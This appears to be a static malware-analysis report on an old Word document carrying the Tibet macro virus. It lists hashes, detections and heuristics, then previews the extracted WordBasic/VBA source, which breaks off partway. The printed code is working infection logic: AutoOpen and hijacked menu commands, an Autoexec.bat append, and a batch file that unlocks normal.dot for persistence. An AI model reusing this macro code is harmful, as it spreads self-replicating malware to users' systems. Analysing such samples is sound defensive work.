Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 0d2bc5d0e270bf7e…

MALICIOUS

Office (OLE)

48.5 KB Created: 1999-04-10 17:21:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: 44589c6dbb072f9043c4d4ec76e83d53 SHA-1: 34b65fd8375567a3477fc45a23760bfcee6c364a SHA-256: 0d2bc5d0e270bf7efc6b17459a856a5740239f00a53d7115e199a61b57025a15
200 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample is a malicious OLE document containing a legacy WordBasic AutoOpen macro. The macro attempts to write to AutoExec.bat and create a batch file named normattr.bat, suggesting an attempt to establish persistence or execute further malicious commands. The presence of 'Tibet' in the macro names and the ClamAV detection 'Doc.Trojan.Tibet-2' indicate a known malware family, though specific behavior beyond macro execution is not fully detailed.

Heuristics 4

  • ClamAV: Doc.Trojan.Tibet-2 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Tibet-2
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 13344 bytes
SHA-256: 375dc1b5f860195bf73c70e75a0490b5b124fe08905c69e5eb61a7785275a726
Detection
ClamAV: Win.Trojan.C-286
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "Tibet"
Sub AutoOpen()

On Error Resume Next

 Infektion

End Sub

Sub DateiÖffnen()

On Error Resume Next

 Dialogs(wdDialogFileOpen).Show

 Infektion

End Sub

Sub DateiNeu()

On Error Resume Next

 Dialogs(wdDialogFileNew).Show

 Infektion

End Sub

Sub AnsichtCode()

On Error Resume Next

 Infektion

 MsgBox "FREE TiBET !", 64, "2BLuM says:"

End Sub

Sub AnsichtVBCode()

On Error Resume Next

 Infektion

 MsgBox "FREE TiBET !", 64, "2BLuM says:"

End Sub

Sub DateiDokVorlagen()

On Error Resume Next

 Infektion

 MsgBox "FREE TiBET !", 64, "2BLuM says:"

End Sub

Sub FormatFormatvorlage()

On Error Resume Next

 Infektion

 MsgBox "FREE TiBET !", 64, "2BLuM says:"

End Sub

Sub ExtrasMakro()

On Error Resume Next

 Infektion

 MsgBox "FREE TiBET !", 64, "2BLuM says:"

End Sub

Sub NormAttrib()

NA$ = GetAttr(NormalTemplate.FullName)

If NA$ = vbReadOnly Or NA$ = vbArchive & vbReadOnly Then

    Open "c:\Autoexec.bat" For Append As #1

     Print #1, "if exist c:\normattr.bat call c:\normattr.bat"

     Print #1, "if exist c:\normattr.bat erase c:\normattr.bat"

    Close 1

    Open "C:\normattr.bat" For Output Access Write As #2

    Print #2, "@echo off"

    Print #2, "if exist c:\progra~1\micros~1\vorlagen\normal.dot goto micro1"

    Print #2, "if exist c:\progra~1\micros~1\vorlagen\normal.dot goto micro1"

    Print #2, "if exist c:\progra~1\micros~2\vorlagen\normal.dot goto micro2"

    Print #2, "if exist c:\progra~1\micros~3\vorlagen\normal.dot goto micro3"

    Print #2, "if exist c:\progra~1\micros~4\vorlagen\normal.dot goto micro4"

    Print #2, "if exist c:\progra~1\micros~5\vorlagen\normal.dot goto micro5"

    Print #2, "if exist c:\progra~1\micros~6\vorlagen\normal.dot goto micro6"

    Print #2, "GoTo ende"

    Print #2, ":micro1"

    Print #2, "attrib -h -r -a c:\progra~1\micros~1\vorlagen\normal.dot > nul"

    Print #2, "attrib -h -r -a c:\progra~1\micros~1\office\normal.dot > nul"

    Print #2, "GoTo ende"

    Print #2, ":micro2"

    Print #2, "attrib -h -r -a c:\progra~1\micros~2\vorlagen\normal.dot > nul"

    Print #2, "attrib -h -r -a c:\progra~1\micros~2\office\normal.dot > nul"

    Print #2, "GoTo ende"

    Print #2, ":micro3"

    Print #2, "attrib -h -r -a c:\progra~1\micros~3\vorlagen\normal.dot > nul"

    Print #2, "attrib -h -r -a c:\progra~1\micros~3\office\normal.dot > nul"

    Print #2, "GoTo ende"

    Print #2, ":micro4"

    Print #2, "attrib -h -r -a c:\progra~1\micros~4\vorlagen\normal.dot > nul"

    Print #2, "attrib -h -r -a c:\progra~1\micros~4\office\normal.dot > nul"

    Print #2, "GoTo ende"

    Print #2, ":micro5"

    Print #2, "attrib -h -r -a c:\progra~1\micros~5\vorlagen\normal.dot > nul"

    Print #2, "attrib -h -r -a c:\progra~1\micros~5\office\normal.dot > nul"

    Print #2, "GoTo ende"

    Print #2, ":micro6"

    Print #2, "attrib -h -r -a c:\progra~1\micros~6\vorlagen\normal.dot > nul"

    Print #2, "attrib -h -r -a c:\progra~1\micros~6\office\normal.dot > nul"

    Print #2, ":ende"

    Close 2

End If

End Sub

Sub Tibet()

On Error Resume Next

Assistant.Visible = True

With Assistant.NewBalloon

    .BalloonType = msoBalloonTypeBullets

    .Icon = msoIconAlert

    .Heading = Chr(87) + Chr(77) + Chr(57) + Chr(55) + Chr(46) + Chr(84) + Chr(105) + Chr(98) + Chr(101) + Chr(116)

    .Text = Chr(50) + Chr(66) + Chr(76) + Chr(117) + Chr(77) + Chr(32) + Chr(115) + Chr(97) + Chr(121) + Chr(115) + Chr(58) + Chr(32) + Chr(34) + Chr(70) + Chr(82) + Chr(69) + Chr(69) + Chr(32) + Chr(84) + Chr(105) + Chr(66) + Chr(69) + Chr(84) + Chr(32) + Chr(33) + Chr(34)

    .Show

End With

Assistant.Visible = Fals
... (truncated)